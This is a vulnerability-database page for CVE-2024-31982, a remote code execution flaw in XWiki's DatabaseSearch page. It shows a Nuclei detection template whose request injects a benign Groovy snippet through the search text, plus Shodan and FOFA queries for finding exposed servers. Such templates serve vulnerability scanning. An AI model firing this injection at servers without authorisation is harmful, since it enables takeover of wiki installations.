XWiki < 4.10.20 - Remote code execution
| Reporter | Title | Published | Views | Family All 25 |
|---|---|---|---|---|
| Exploit for Code Injection in Xwiki | 22 Jun 202408:47 | – | githubexploit | |
| Exploit for Code Injection in Xwiki | 22 Jun 202417:04 | – | githubexploit | |
| Exploit for Code Injection in Xwiki | 22 Jun 202421:20 | – | githubexploit | |
| New episode “In The Trend of VM” (#9): 4 trending vulnerabilities of October, scandal at The Linux Foundation, social “attack on the complainer”, “Ford’s method” for motivating IT specialists to fix vulnerabilities | 28 Nov 202412:57 | – | avleonov | |
| About Remote Code Execution – XWiki Platform (CVE-2024-31982) vulnerability | 31 Oct 202411:50 | – | avleonov | |
| XWiki DatabaseSearch Code Execution | 1 Nov 202400:00 | – | bdu_fstec | |
| CVE-2024-31982 | 22 Jun 202421:25 | – | circl | |
| XWiki Platform 安全漏洞 | 10 Apr 202400:00 | – | cnnvd | |
| CVE-2024-31982 | 10 Apr 202419:38 | – | cve | |
| CVE-2024-31982 XWiki Platform: Remote code execution as guest via DatabaseSearch | 10 Apr 202419:38 | – | cvelist |
10
id: CVE-2024-31982
info:
name: XWiki < 4.10.20 - Remote code execution
author: ritikchaddha
severity: critical
description: |
XWiki Platform is a generic wiki platform. Starting in version 2.4-milestone-1 and prior to versions 4.10.20, 15.5.4, and 15.10-rc-1, XWiki's database search allows remote code execution through the search text. This allows remote code execution for any visitor of a public wiki or user of a closed wiki as the database search is by default accessible for all users. This impacts the confidentiality, integrity and availability of the whole XWiki installation. This vulnerability has been patched in XWiki 14.10.20, 15.5.4 and 15.10RC1. As a workaround, one may manually apply the patch to the page `Main.DatabaseSearch`. Alternatively, unless database search is explicitly used by users, this page can be deleted as this is not the default search interface of XWiki.
impact: |
Successful exploitation could lead to remote code execution.
remediation: |
Apply the vendor-supplied patch or upgrade to a 14.10.20 ,15.5.4, 15.10-rc-1.
reference:
- https://jira.xwiki.org/browse/XWIKI-21472
- https://github.com/xwiki/xwiki-platform/security/advisories/GHSA-2858-8cfx-69m9
- https://jira.xwiki.org/browse/XWIKI-21110
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2024-31982
cwe-id: CWE-95
epss-score: 0.3452
epss-percentile: 0.984
cpe: cpe:2.3:a:xwiki:xwiki:*:*:*:*:*:*:*:*
metadata:
max-request: 2
verified: true
vendor: xwiki
product: xwiki
shodan-query: html:"data-xwiki-reference"
fofa-query: body="data-xwiki-reference"
tags: cve,cve2024,xwiki,rce,vkev,vuln
http:
- method: GET
path:
- "{{BaseURL}}/xwiki/bin/get/Main/DatabaseSearch?outputSyntax=plain&text=%7D%7D%7D%7B%7Basync%20async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7Dprintln%28%22Hello%20from%22%20%2B%20%22%20search%20text%3A%22%20%2B%20%2823%20%2B%2019%29%29%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D%20"
- "{{BaseURL}}/bin/get/Main/DatabaseSearch?outputSyntax=plain&text=%7D%7D%7D%7B%7Basync%20async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7Dprintln%28%22Hello%20from%22%20%2B%20%22%20search%20text%3A%22%20%2B%20%2823%20%2B%2019%29%29%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D%20"
skip-variables-check: true
stop-at-first-match: true
matchers:
- type: dsl
dsl:
- 'contains_all(body, "Hello from search text:42</title>", "<title>RSS feed")'
- 'contains(header, "text/javascript")'
- 'status_code == 200'
condition: and
# digest: 4b0a00483046022100b7b066f263abae90401edb4804761562fad73e456ada6c229d29d3d10b50e2890221009654af22221f83bd605c77e34e9c4ca65427698e03998d2099259a9fc2746cb4:922c64590222798bb761d5b6d8e72950Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
04 Feb 2026 07:00Current
8.3High risk
Vulners AI Score8.3
CVSS 3.19.8 - 10
EPSS0.3452
SSVC